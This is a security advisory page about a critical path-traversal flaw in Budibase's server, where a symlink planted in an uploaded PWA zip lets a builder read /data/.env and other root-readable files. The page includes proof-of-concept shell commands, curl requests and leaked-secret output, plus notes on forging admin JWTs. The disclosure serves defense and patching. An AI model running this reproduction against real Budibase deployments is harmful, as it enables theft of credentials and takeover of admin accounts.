Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
CRITICAL severity

GHSA-w7mq-r738-x278 @budibase/server

CRITICAL

GHSA-w7mq-r738-x278 is a critical-severity (CVSS 9.6) Path Traversal vulnerability in @budibase/server. A fix is available for @budibase/server — see the affected versions and patch details below.

Budibase has arbitrary file read by workspace-builder via PWA-zip symlink upload

Also known asCVE-2026-54352
Published
Jun 22, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-w7mq-r738-x278.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs41th percentile — riskier than 41% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-w7mq-r738-x278 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

1other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@budibase/servernpm
3Kdownloads / week

Description

Summary

POST /api/pwa/process-zip at packages/server/src/api/routes/static.ts:24 accepts a builder-uploaded .zip, extracts it with [email protected] into a temp directory, then for each entry listed in icons.json validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via GET /api/assets/{appId}/pwa/{uuid}.png.

[email protected] preserves absolute symlink targets when restoring symlink entries. The icon-source validator at packages/server/src/api/controllers/static/index.ts:259-268 resolves the icon source string against baseDir (path.resolve), checks resolvedSrc.startsWith(baseDir + path.sep) against that string, and calls fs.existsSync(resolvedSrc) which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at baseDir/evil.png but pointing at /data/.env passes the gate.

packages/backend-core/src/objectStore/objectStore.ts:302 then calls (await fsp.open(path)).createReadStream() on the resolved path. fsp.open follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim.

Result: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including /data/.env with JWT_SECRET, INTERNAL_API_KEY, MINIO_*, REDIS_PASSWORD, COUCHDB_PASSWORD, DATABASE_URL) by uploading one crafted PWA zip.

Affected

Budibase/budibase server, @budibase/server package, <= 3.39.0 (HEAD feab995, released 2026-05-20).

Reachable in stock self-hosted deployments. The default budibase/budibase:latest Docker image runs the Node server as root inside the container; the server process opens /etc/passwd, /etc/shadow, /data/.env, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app.

Not affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material.

Root cause

packages/server/src/api/routes/static.ts:24: .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip) exposes the endpoint to any workspace builder; the only permission required is BUILDER.

packages/server/src/api/controllers/static/index.ts:235: await extract(filePath, { dir: tempDir }) calls [email protected], which preserves absolute symlink targets when restoring symlink entries.

packages/server/src/api/controllers/static/index.ts:259-268: the icon validator (path.resolve + resolvedSrc.startsWith(baseDir + path.sep) + fs.existsSync) operates on the resolved string path and on fs.existsSync (which follows symbolic links). A symlink stored under baseDir whose target points anywhere reachable by the server passes the gate as long as the target exists.

packages/backend-core/src/objectStore/objectStore.ts:302: (await fsp.open(path)).createReadStream() follows the symlink and streams the target file's bytes; the object lands in MinIO under {appId}/pwa/{uuid}{extension} and is served by GET /api/assets/{appId}/pwa/{uuid}.{ext} (packages/server/src/api/routes/static.ts:21).

hosting/single/Dockerfile: the production single-container image runs the Node server as root, so the read primitive reaches /etc/shadow, /data/.env, and every other root-readable path.

Reproduction

budibase/budibase:latest (v3.39.0) Docker single-container on localhost:10000, default config, with any workspace builder logged in. Cookie jar and <CSRF> token come from GET /api/global/self.

  1. Builder uploads a zip containing one symlink entry that targets /data/.env, plus an icons.json that references the symlink.
mkdir attack && cd attack
ln -s /data/.env evil.png
printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json
zip -y attack.zip icons.json evil.png

curl -s "http://localhost:10000/api/pwa/process-zip" \
  -b cookies.txt \
  -H "x-budibase-app-id: <appId>" \
  -H "x-csrf-token: <CSRF>" \
  -F "[email protected]"
{"icons":[{"src":"<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png","sizes":"192x192","type":"image/png"}]}
  1. Builder fetches the resulting "icon".
GET /api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=<JWT>; budibase:auth.sig=<SIG>
COUCHDB_USER=admin
COUCHDB_PASSWORD=admin
MINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def
MINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778
INTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c
JWT_SECRET=c5441dc903f845bdb93a98b949a612b2
REDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c
DATABASE_URL=postgresql://llmproxy:[email protected]:5432/litellm

Live-verified: the response body of the asset-fetch endpoint is byte-identical to docker exec budibase cat /data/.env; /etc/passwd and /etc/shadow extract via the same primitive when their permissions allow root reads.

Impact

  • Disclosure of /data/.env: JWT_SECRET, INTERNAL_API_KEY, MINIO_ACCESS_KEY, MINIO_SECRET_KEY, REDIS_PASSWORD, COUCHDB_PASSWORD, LITELLM_MASTER_KEY, DATABASE_URL.
  • HS256 JWT forge with the leaked JWT_SECRET against any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin.
  • Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds.
  • Disclosure of /etc/passwd and /etc/shadow via the same primitive when the container runs as root (the shipped default).

Credit

Jan Kahmen, turingpoint ([email protected]).

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@budibase/serverall versions3.39.9npm install @budibase/server@3.39.9

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @budibase/server to 3.39.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w7mq-r738-x278 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-w7mq-r738-x278 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-w7mq-r738-x278. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `POST /api/pwa/process-zip` at `packages/server/src/api/routes/static.ts:24` accepts a builder-uploaded `.zip`, extracts it with `[email protected]` into a temp directory, then for each entry listed in `icons.json` validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via `GET /api/assets/{appId}/pwa/{uuid}.png`. `[email protected]` preserves absolute symlink targets when restoring symlink entries. The icon-source validator at `packages/server/src/api/controllers/static/index.ts:259-268` resolves the icon source string against `ba
O3 Security · Impact-Aware SCA

Is GHSA-w7mq-r738-x278 in your dependencies?

O3 Security finds GHSA-w7mq-r738-x278 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-w7mq-r738-x278: CSRF (Critical 9.6) | O3 Security